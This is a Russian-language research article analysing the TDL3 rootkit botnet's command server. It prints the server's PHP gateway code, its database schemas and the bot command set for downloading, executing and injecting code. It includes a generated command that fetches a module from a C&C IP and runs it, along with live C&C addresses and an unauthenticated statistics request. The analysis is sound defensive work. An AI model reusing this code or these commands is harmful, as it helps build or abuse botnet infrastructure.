browsers | 3 690 | 240,0 кБ | Дополнительная информация о ботах (версии веб-браузеров, версии руткита и модуляTDLCMD.DLL , страна, версия операционной системы) |
builds | 172 | 16,0 кБ | |
countries | 253 | 16,0 кБ | |
systems | 101 | 16,0 кБ | |
commands | 55 | 16,0 кБ | Команды ботам, статистика по ним, история команд и дополнительные параметры |
commandsexecuted | ≈ 4 546 977 | 337,5 МБ | |
commandshistory | 1 590 | 224,0 кБ) | |
commandsinfo | 55 | 64,0 кБ | |
commandsproperties | 909 | 64,0 кБ | |
modules | 13 | 400,0 кБ | Исполняемые модули для ботов |
redirects | 0 | — | URL-перенаправления |
redirectsexecuted | 0 | — | |
remover_bho | 6 050 | 1,5 МБ | Статистика модуляremover |
remover_bho_stat | 20 | 1,9 кБ | |
remover_dda | 642 | 144,0 кБ | |
remover_dda_stat | 21 | 1,9 кБ | |
remover_dir | ≈ 37 991 | 7,5 МБ | |
remover_dir_stat | 20 | 1,9 кБ | |
remover_errors | 18 914 | 2,5 МБ | |
remover_extra | ≈ 289 449 | 54,6 МБ | |
remover_extra_stat | 18 | 1,9 кБ | |
remover_guid | ≈ 21 220 | 4,5 МБ | |
remover_guid_stat | 20 | 1,9 кБ | |
rules | 0 | — | Неизвестно |
ruleshistory | 0 | — | |
statuses | 1 982 | 72,3 кБ | Неизвестно |
statuses_limits | 1 138 919 | 115,0 МБ | |
statuses_statistics | 3 956 | 102,8 кБ | |
users | 10 | 16,0 кБ | Учётные записи пользователей панели управления |
Далее будет приведена структура наиболее интересных таблиц и некоторые пояснения, касающиеся работы с ними.
Запросы от ботов к серверу
Сразу после инсталляции бот инициирует запрос команд от сервера и повторяет этот запрос через заданный в конфигурации интервал времени. Запросы бота, как уже было описано в первой части статьи, шифруются по алгоритму RC4 с использованием имени целевого сервера в качестве ключа, затем кодируются по алгоритму base64 и отправляются на веб-шлюз командного сервера по протоколу HTTPS.
Формат запросов на получение команд может отличаться от одной версии бота к другой. Для большинства версий, включая самые последние, запрос выглядит следующим образом:
bot_ID|aff_ID|aff_SID|rootkit_ver|tdlcmd_ver|os_ver|lang|browser|build_date|install_date
Назначение полей запроса:
Поле | Назначение |
bot_ID | Уникальный идентификатор бота, например, 7a91eb86-a6be-4db5-8694-0337dad2c75d |
aff_ID | Идентификатор партнёра, владеющего ботом |
aff_SID | Идентификатор дополнительной учётной записи партнёра |
rootkit_ver | Версия руткита |
tdlcmd_ver | Версия модуля TDLCMD.DLL (основной модуль «полезной назрузки» бота) |
os_ver | Версия операционной системы |
lang | Язык операционной системы |
browser | Браузер, используемый на заражённом компьютере. Значение этого поля представляет собой путь к исполняемому файлу браузера, извлеченный из ключа реестраHKEY_LOCAL_MACHINE\SOFTWARE\Classes\HTTP\shell\open\command |
build_date | Дата сборки исполняемых файлов бота (необязательный параметр) |
install_date | Дата заражения (необязательный параметр) |
Помимо запросов на получение команд, скрипты командного сервера также могут обрабатывать и ряд специальных запросов, которые имеют следующий вид:
module_ID|value_1|value_2|...|value_N
Поле | Назначение |
module_ID | Идентификатор типа запроса (модуля, которому он адресован) |
value_1 –value_N | Произвольное количество строковых и/или числовых данных, формат и назначения которых зависят от типа запроса |
Функциональность отправки специальных запросов не фигурирует в коде «полезной нагрузки» бота в явном виде, однако бот может отправлять подобные запросы в результате обработки команд, полученных с сервера (например, команды на загрузку дополнительного модуля «полезной нагрузки»).
Рассмотрим процесс обработки запросов от бота более подробно. В первых строках скрипта
/var/www/engine/index.php
происходит подключение необходимых заголовочных файлов, а также расшифровка запроса:<?php try { // объявление констант, содержащих пути к различным директориям define('DS' , DIRECTORY_SEPARATOR ); define('DIR_ROOT' , realpath('../') ); define('DIR_LIBRARY' , DIR_ROOT.DS.'library' ); define('DIR_LIBRARY_CLASSES' , DIR_LIBRARY.DS.'classes' ); define('DIR_LIBRARY_MODELS' , DIR_LIBRARY.DS.'models' ); define('DIR_LIBRARY_FUNCTIONS' , DIR_LIBRARY.DS.'functions'); define('DIR_DATA' , DIR_ROOT.DS.'data' ); // подключение внешних модулей require_once( DIR_ROOT . DS . 'configuration.php' ); require_once( DIR_LIBRARY_CLASSES . DS . 'DBase.php' ); require_once( DIR_LIBRARY_FUNCTIONS . DS . 'rc4Encrypt.php' ); require_once( DIR_LIBRARY_MODELS . DS . 'mBots.php' ); require_once( DIR_LIBRARY_MODELS . DS . 'mAffiliate.php' ); require_once( DIR_LIBRARY_MODELS . DS . 'mAffiliates.php' ); require_once( DIR_LIBRARY_MODELS . DS . 'mBrowsers.php' ); require_once( DIR_LIBRARY_MODELS . DS . 'mBuilds.php' ); require_once( DIR_LIBRARY_MODELS . DS . 'mSystems.php' ); require_once( DIR_LIBRARY_MODELS . DS . 'mCountries.php' ); require_once( DIR_LIBRARY_MODELS . DS . 'mCommands.php' ); require_once( DIR_LIBRARY_MODELS . DS . 'mCommandsMemcache.php' ); // расшифровка запроса по RC4 (имя сервера используется в качестве ключа) $request = rc4Decrypt( $_SERVER["HTTP_HOST"], base64_decode( substr( $_SERVER["REQUEST_URI"], 1 ) ) ); $requestCount = 0; $requestHost = $_SERVER["HTTP_HOST"]; if( $request ) { // разбиение строки запроса на элементы массива $request = explode( '|', $request ); $requestCount = sizeof( $request ); } else { header("HTTP/1.0 404 Not Found"); exit(); } ...
Поля запроса, как видно из приведённого кода, сохраняются в массиве
$request
. Далее, в зависимости от значения первого элемента этого массива (а именно, идентификатора типа для специальных запросов), происходит подключение одного из следующих PHP-скриптов, обрабатывающих конкретные типы запросов:Идентификатор типа специального запроса | Имя скрипта | Назначение |
remover | remover.php | Приём статистики от модуля remover (подробнее о нём см. далее) |
services | services.php | Управление учётными записями партнёров (создание, удаление, запрос информации). По всей видимости, эти возможности были предусмотрены для сбора статистики об учётных записях партнёров с внешнего хоста, однако по неизвестным причинам не был защищён какими-либо механизмами авторизации, что позволяет получить доступ к подробнейшей статистике о работе ботнета произвольным лицам. |
rules | rules.php | Приём статистики о выполненных на стороне бота командах. |
redirect | redirect.php | Выполнение перенаправления на содержащийся в базе URL по его числовому идентификатору. |
installation | installation.php | Вывод содержимого файла/var/www/engine/data/affId_affSid.dat , где affId и affSid — идентификаторы основной и дополнительной учетных записей партнёра, полученные из полей запроса. Назначение информации, содержащейся в.dat -файле, неизвестно, поскольку соответствующих файлов на целевом сервере обнаружено не было. |
modules | modules.php | Обработка запросов на загрузку модулей со стороны ботов. |
Если значение первого элемента массива не совпало с приведенными в таблице идентификаторами, то такой запрос обрабатывается как запрос команды:
} elseif( $requestCount == 8 || $requestCount == 10 ) { // подключение к базе данных DBase::connect( DBASE_HOST , DBASE_USER , DBASE_PWD , DBASE_BASE ); // подключение к демону memcached $objMemcache = new Memcache; $objMemcache->connect( MCACHE_HOST, MCACHE_PORT ); // получение информации о боте из полей запроса $requestName = $request[0]; $requestAffAid = $request[1]; $requestAffSid = $request[2]; $requestRk = $request[3]; $requestCmd = $request[4]; $requestSystem = $request[5]; $requestLang = $request[6]; $requestBrowser = $request[7]; if( $requestCount == 8 ) { // информация о дате сборки и дате заражения не присутствует в запросе $requestBuildDate = 0; $requestInstallDate = 0; } else { $requestBuildDate = strtotime( $request[8] ); $requestInstallDate = strtotime( $request[9] ); } $requestBuild = "{$requestRk}_{$requestCmd}"; $requestIp = ip2long( $_SERVER['REMOTE_ADDR'] ); $requestAffId = null; $requestSystemId = null; $requestBrowserId = null; $requestBuildId = null; // подключение модуля engine.php // он осуществляет добавление информации о боте в базу данных и обработку запроса команды include('engine.php'); $objMemcache->close(); DBase::disconnect(); ...
Возвращаемый боту в ответ на запрос список команд также шифруется по алгоритму RC4, но в качестве ключа в этом случае используется не имя сервера, а идентификатор бота (содержимое переменной
$requestName
).Учётные записи партнёров
В таблице
affiliates
содержится информация об учётных записях партнёров. Их добавление и редактирование доступно оператору панели администрирования ботнета.CREATE TABLE IF NOT EXISTS `affiliates` ( `affId` int(11) unsigned NOT NULL auto_increment, -- ключ таблицы `affAid` char(20) NOT NULL, -- идентификатор учётной записи партнёра `affGroup` int(11) unsigned NOT NULL, -- группа учётной записи партнёра `affLogin` char(32) default NULL, -- имя (логин) учётной записи партнёра PRIMARY KEY (`affId`) );
Редактирование учётной записи партнёра в панели администрирования ботнета
Каждый партнёр может владеть произвольным количеством ботов. Идентификатор учётной записи партнёра «прошивается» в исполняемый файл бота на этапе его сборки и конфигурирования и хранится руткитом в файле
config.ini
на зашифрованной файловой системе.Также для каждого партнёра доступно создание дополнительных учётных записей, которые используются для разделения ботов, принадлежащих конкретному партнёру, на группы.
Идентификаторы основной и дополнительной учётных записей партнёра в файле
config.ini
.Учётными записями партнёров можно управлять без посредства панели администрирования, путём отправки специальных запросов типа
services
веб-шлюзу командного сервера. Формат параметров этого запроса выглядит так:services|operation_code|argument_1|argument_2|...|argument_N
Поле | Назначение |
operation_code | Код операции, которую необходимо выполнить |
argument_1 –argument_N | Необязательные аргументы, формат которых определяется конкретной операцией |
Коды операций приведены в следующей таблице:
Код операции | Аргументы | Назначение |
100 | affAid ,affLogin ,affGroup | Создание новой учётной записи партнёра. |
110 | affId | Удаление существующей учётной записи партнёра. |
120 | affAid | Перечисление всех дополнительных учётных записей для данной учётной записи партнёра. |
150 | engineType | Добавление новой учётной записи партнёра с автоматической генерацией значения affAid . При этом значение affGroup выбирается в зависимости от значения engineType . |
200 | affAid ,affSid ,statDateFrom ,statDateTo | Запрос статистики по количеству установок бота для указанной учётной записи партнёра в заданный промежуток времени. |
201 | affAid ,affSid ,statDateFrom ,statDateTo | Запрос статистики количества ботов по странам для указанной учётной записи партнёра в заданный промежуток времени. |
301 | — | Перечисление существующих учётных записей партнёров. |
Пояснение назначения параметров запроса:
Параметр | Назначение |
affId | Параметры соответствуют одноимённым полям в таблицеaffiliates |
affAid | |
affSid | |
affLogin | |
statDateFrom | Даты в формате Y-m-d |
statDateTo | |
affGroup | Идентификатор группы партнёров |
Перечень возможных групп, к которым может принадлежать партнёр, содержится в файле
/var/www/engine/data/groups.txt
:Affiliates Groups 1 - Test Installs 10 - Our Installs 20 - InstallConverter 30 - ProfitCash 40 - ReliefPPC 50 - ConvertPPC
Для примера, запрос получения статистики по количеству установок бота в период с 01.08.2009 по 01.07.2010 для дополнительного учётной записи 0 партнёра с
affAid
, равным 10000, будет выглядеть следующим образом:services|200|10000|0|2009-08-01|2010-07-01
Таблица ботов
Информация о боте представляет собой запись в таблице
bots
, которая создаётся при обработке первого запроса на получение команд от бота. При этом значения полей таблицы affId
, affSid
и botName
извлекаются из соответствующих параметров запроса.Класс
mBots
, обеспечивающий работу с таблицей bots
, находится в файле/var/www/engine/library/models/mBots.php
. Функции добавления и изменения информации о боте реализованы в скрипте /var/www/engine/public/engine.php
.Структура таблицы
bots
:CREATE TABLE IF NOT EXISTS `bots` ( `affId` int(11) unsigned NOT NULL, -- идентификатор учётной записи партнёра `affIdx` int(11) unsigned NOT NULL, -- обычно, содержит то же значение, что и affId `affSid` smallint(6) unsigned NOT NULL default '1', -- идентификатор дополнительной учётной записи `botId` int(11) unsigned NOT NULL auto_increment, -- ключ таблицы `botName` char(60) NOT NULL, -- уникальное имя бота (параметр botid в config.ini) `botIp` bigint(20) NOT NULL, -- IP-адрес бота `botAdded` int(11) unsigned NOT NULL, -- дата первого обращения бота к серверу `botAccess` int(11) unsigned NOT NULL, -- дата последнего обращения бота к серверу `botCountry` tinyint(4) unsigned NOT NULL, -- идентификатор страны бота `botSystem` smallint(6) unsigned NOT NULL, -- идентификатор версии Windows заражённого компьютера `botBrowser` smallint(6) unsigned NOT NULL, -- идентификатор версии браузера заражённого компьютера `botBuild` smallint(6) unsigned NOT NULL, -- идентификатор версии руткита и модуля TDLCMD.DLL бота PRIMARY KEY (`botId`), KEY `botName` (`botName`), KEY `affid_index` (`affId`), KEY `botAdded_index` (`botAdded`) );
Система команд
В конце скрипта
engine.php
подключается файл/var/www/enginedata/commands.php
. Его задача — вывод команд, которые требуется выполнить боту. При этом скрипт commands.php
генерируется динамически на основе данных, хранящихся в таблице commandsinfo
.CREATE TABLE IF NOT EXISTS `commandsinfo` ( `commOwner` int(11) NOT NULL default '1', -- идентификатор учётной записи пользователя, добавившего команду `commId` int(11) unsigned NOT NULL auto_increment, -- ключ таблицы `commName` varchar(255) NOT NULL, -- имя команды `commDesc` text NOT NULL, -- описание команды `commExe` varchar(255) NOT NULL, -- URL исполняемого файла (для команд, связанных с загрузкой и исполнением исполняемых файлов) `commStatus` enum('disable','enable', 'deleted','temp') NOT NULL default 'enable', -- статус команды (активная, неактивная, временная или удалённая) `commAdded` datetime NOT NULL, -- время добавления команды `commCode` text NOT NULL, -- PHP код команды, который будет включён в commands.php `commCodeCond` text NOT NULL, -- дополнительные параметры команды `commCodeComm` text NOT NULL, `commOrder` int(11) NOT NULL, -- порядковый номер команды PRIMARY KEY (`commId`) );
Класс
mCommands
, обеспечивающий работу с командами, находится в файле/var/www/engine/library/models/mCommands.php
. Процедура динамического создания файла commands.php
реализована в методе reGenerate
, который вызывается по команде из панели администрирования:function reGenerate() { $code = ''; // получение из базы данных информации о всех доступных командах $commands = $this->getSummaryFull(); for ($i = 0; $i < sizeof($commands); $i++) { if ($commands[$i]['commStatus'] == 'enable') { // получение PHP кода для каждой из команд $code .= $this->getCode($commands[$i]['commId']) . "\r\n\r\n\r\n"; } } // чтение файла-шаблона // он содержит статический код, который должен быть включён в commands.php $templateFile = dirname(__FILE__).DS.'commands.template'; $fp = fopen($templateFile, 'r'); $template = fread($fp, filesize($templateFile)); fclose($fp); $template = str_replace('%COMMS%', $code, $template); // запись commands.php на диск $file = '/var/www/enginedata/commands.php'; $fp = fopen($file, 'w'); fwrite($fp, $template); fclose($fp); }
Добавление новой команды в панели администрирования
Для каждой команды можно указать следующие дополнительные параметры:
- Идентификаторы стран, для ботов из которых требуется выполнение данной команды.
- Идентификаторы учётных записей партнёров.
- Версии браузеров на зараженных машинах.
- Версии руткита и модуля
TDLCMD.DLL
. - Время жизни команды.
- Максимальное число запусков команды.
Оператор панели администрирования может даже редактировать непосредственно фрагмент PHP-кода, который будет включён в
commands.php
.Редактирование кода команды в панели администрирования
Бот может обрабатывать следующие команды:
Команда | Описание |
botnetcmd.SetCmdDelay(Seconds) | Установка интервала обращения к серверу |
botnetcmd.ModuleDownloadUnxor(URL,LocalPath) | Загрузка зашифрованного исполняемого модуля |
botnetcmd.FileDownloadRandom(URL,LocalPath) | Загрузка произвольного файла |
botnetcmd.LoadExe(FileURL) | Загрузка и запуск исполняемого файла |
botnetcmd.LoadExeKnock(FileURL,KnockURL) | Загрузка и запуск исполняемого файла с отправкой HTTP-запроса на произвольный URL в случае успеха |
botnetcmd.InjectorAdd(ProcessName,DLLName) | Внедрение DLL в указанный процесс (* — во все процессы) |
tdlcmd.ConfigWrite(Section,Parameter, Value) | Запись произвольных данных вconfig.ini |
tdlcmd.Download(URL, LocalPath) | Загрузка произвольного файла. |
Модули «полезной нагрузки»
Основные функции руткита TDL3 — «полезная нагрузка» — обеспечиваются дополнительными модулями. Модули представляют собой обычные динамические библиотеки, загружаемые с сервера и внедряемые в произвольный либо текущий процесс пользовательского режима.
Информация о доступных модулях хранится в таблице modules:
CREATE TABLE IF NOT EXISTS `modules` ( `modId` int(11) unsigned NOT NULL auto_increment, -- ключ таблицы `modName` char(255) NOT NULL, -- имя модуля `modData` longblob, -- данные исполняемого образа модуля `modLoads` int(11) unsigned NOT NULL, -- количество загрузок модуля PRIMARY KEY (`modId`) );
Загрузка файла модуля на заражённый компьютер может производиться с помощью команды
ModuleDownloadUnxor
. В качестве параметра ей передаётся зашифрованный запрос к серверу, формат полей которого выглядит следующим образом:module|ModuleId!Key!
Поле | Назначение |
ModuleId | Идентификатор модуля (значение поля modId таблицыmodules ) |
Key | Любая строка (необязательное поле). Значение данного параметра будет использовано в качестве ключа шифрования по алгоритму RC4 для модуля, выдаваемого боту в ответ на запрос |
Запрос на загрузку модуля обрабатывается в файле
/var/www/engine/public/modules.php
:<?php require_once( DIR_LIBRARY_MODELS . DS . 'mModules.php' ); // проверка наличия ключа для шифрования в запросе на загрузку модуля if( preg_match( "%(\d*)!(.*)!%Uis", $request[1], $matches ) ) { $modId = $matches[1]; $modCrypt = $matches[2]; } else { $modId = $request[1]; $modCrypt = FALSE; } // получение информации о модуле $modDetails = mModules::details( $modId ); if( $modCrypt ) { // возвращение клиенту данных модуля в зашифрованном виде print rc4Encrypt( $modCrypt, $modDetails['modData'] ); } else { // возвращение клиенту данных модуля в открытом виде print $modDetails['modData']; } // приращение счётчика количества загрузок для данного модуля mModules::increment( $modId );
Исполнение команды, адресованной конкретному модулю, происходит путём отправки боту строки следующего вида:
ModuleName.Function([Params])
Поле | Назначение |
ModuleName | Имя динамической библиотеки модуля на заражённом компьютере |
Function | Имя произвольной функции, экспортируемой динамической библиотекой модуля |
Params | Произвольные числовые или строковые параметры, которые следует передать вызываемой функции в качестве аргументов |
Пример загрузки и исполнения модуля
remover
(фрагмент кода из commands.php
):// --- Command #273 Start --- $commId = 273; // получение информации о команде по её идентификатору $commDetails = $objCommands->getCommand( $commId ); $commDetailsCreate = FALSE; if( $commDetails == FALSE ) { $commDetails['commId'] = $commId; $commDetails['commRefences'] = 0; $commDetails['commSuccesed'] = 0; $commDetailsCreate = TRUE; } // Condition 1 if( $botBuild >= 26 ) { $commDetailsBot = mCommands::getCommandExecuted( $commId, $botId ); $commDetailsBotCreate = FALSE; if( $commDetailsBot == FALSE ) { $commDetailsBot['botId'] = $botId; $commDetailsBot['commId'] = $commId; $commDetailsBot['commDate'] = 0; $commDetailsBot['commSuccesed'] = 0; $commDetailsBotCreate = TRUE; } // Condition 2 if( ($commDetailsBot['commSuccesed'] < 1) ) { $commSucces = TRUE; // команда на загрузку модуля и сохранение его под именем tdlrm.dll $commOutput .= "tdlcmd.Download('https://91.212.226.60/czRvvJ+iknAB','tdlrm.dll')\n"; // команда на исполнение функции Start() из tdlrm.dll $commOutput .= "tdlrm.Start()\n"; } else { $commSucces = FALSE; } ... // --- Command #273 End ---
Добавление и редактирование модулей происходит в соответствующем разделе панели администрирования:
Редактирование модуля в панели администрирования
На момент получения доступа к серверу в базе данных присутствовали следующие модули:
Имя модуля | Назначение |
DDoS | Реализация DDoS-атак |
Remover | Небольшой антивирус, работающий с базами сигнатурMalwarebytes' Anti-Malware и производящий на зараженном компьютере поиск «чужих» вредоносных программ. |
TDLCMD | Основной модуль «полезной нагрузки», используемый руткитом. В данном модуле реализованы функции отправки сообщений серверу, выполнения команд и т.п. |
WSP/WSP Popup | Модуль перехвата запросов для поисковых сервисов (Google, Yahoo, Bing, Ask, AOL) с целью подмены результатов поиска, отображаемых в браузере. Также содержит функции отображения всплывающих рекламных окон. |
Модули защищены при помощи неизвестной программы для шифрования кода, что может затруднить их анализ.
На момент анализа числа загрузок для модуля
Remover
составляло 19 000 — таким образом, количество его загрузок несопоставимо мало относительно общего количества ботов. Это может свидетельствовать о том, что модуль Remover
на момент анализа проходил тестирование, и что в будущем разработчиками бота планируется широкое использование своего собственного «антивируса» для борьбы с конкурирующими вредоносными программами.Статистика
В завершении статьи приведём несколько срезов статистики по ботнету. Статистические данные были получены путём анализа базы данных командного сервера
d45648675.cn
по состоянию на 7 февраля 2010 года.Общие данные:
Количество ботов за всё время | 5 247 115 |
Количество учётных записей партнёров | 512 |
Дата установки первого бота | 12.08.2009 |
Дата установки последнего бота | 07.02.2010 |
Более подробные статистические данные приведены ниже в виде графиков и диаграмм.
Число новых установок по неделям (одна точка на графике соответствует одной неделе)
Заметный пик на графике соответствует «рекорду» в 443 364 уникальные установки бота 19 января 2010 года. Все установки были относительно равномерно распределены между несколькими десятками партнёрских учётных записей. Это может говорить о том, что причиной столь стремительного роста числа инсталляций стала волна эксплуатации некой уязвимости «нулевого дня».
Число уникальных ботов, которые обращались к серверу в течение недели
Распределение ботов по странам
Распределение ботов по партнёрам
Как видно из диаграммы, самый крупный партнёр обеспечивал 22,3% всех инсталляций руткита, вдвое превышая по эффективности второго партнёра.
Распределение новых инсталляций по партнёрам
Как видно из диаграммы, 90% партнёров обеспечивают от 1 000 до 50 000 загрузок, из которых 50% приходится на мелких партнёров (число загрузок от 1 000 до 5 000). Партнёров с числом загрузок более 5 000 всего 17, из них всего один обеспечил более 1 000 000 загрузок.
Версии Windows
Как видно из диаграммы, операционная система Windows XP, в которой не поддерживаются современные защитные механизмы (UAC, DEP и ASLR), является наиболее уязвимой для вредоносных программ. Относительно малое число заражений операционной системы Windows 7 не связано с долей данной операционной системы в числе остальных (которая достаточно высока). Можно предположить, что доставка бота на компьютеры с Windows 7 осуществлялась преимущественно методами социальной инженерии.
Версии руткита
Версии модуля
TDLCMD.DLL
Поскольку сервер
d45648675.cn
функционирует и в настоящее время, мы приняли решение собрать обновлённую статистику на момент написания статьи (14 июля 2010) с помощью механизмов, предоставляемых описанным выше специальным запросом типа services
. Мы также проанализировали несколько десятков инсталляторов руткита TDL3, чтобы выявить адреса всех активных командных серверов.Помимо сервера, соответствующего доменному имени
d45648675.cn
(и ряду других), на данный момент также используется второй сервер a57990057.cn
. Каждый из двух серверов имеет несколько IP-адресов, и каждому IP-адресу сопоставлено несколько доменов. Список IP-адресов и доменов для обоих серверов приведён в следующей таблице:IP-адрес | Доменное имя | Количество ботов за всё время | Количество учётных записей партнёров | Дата установки первого бота |
91.212.226.60 | d45648675.cn | 8 547 241 | 857 | 12.08.2009 |
91.212.226.59 | zz87jhfda88.com | |||
91.212.226.59 | lj1i16b0.com | |||
61.61.20.132 | a57990057.cn | 7 860 677 | 2 547 | 31.12.2009 |
61.61.20.132 | 68b6b6b6.com | |||
91.212.226.7 | 0o0o0o0o0.com | |||
61.61.20.135 | jro1ni1l1.com | |||
61.61.20.135 | 34jh7alm94.asia |
Как видно из таблицы, в период с 07.02.2010 по 14.07.2010 количество ботов, прошедших через первый сервер, выросло почти на 40%, а общее количество компьютеров, заражённых руткитом TDL3 в период с 12.08.2009 по 14.07.2010, составило более 16 000 000. Крупнейшим ботнетом в мире до настоящего момента считался ботнет Mariposa, объём которого на момент его закрытия был оценён экспертами в 12 000 000 зомби-машин.
Комментариев нет:
Отправить комментарий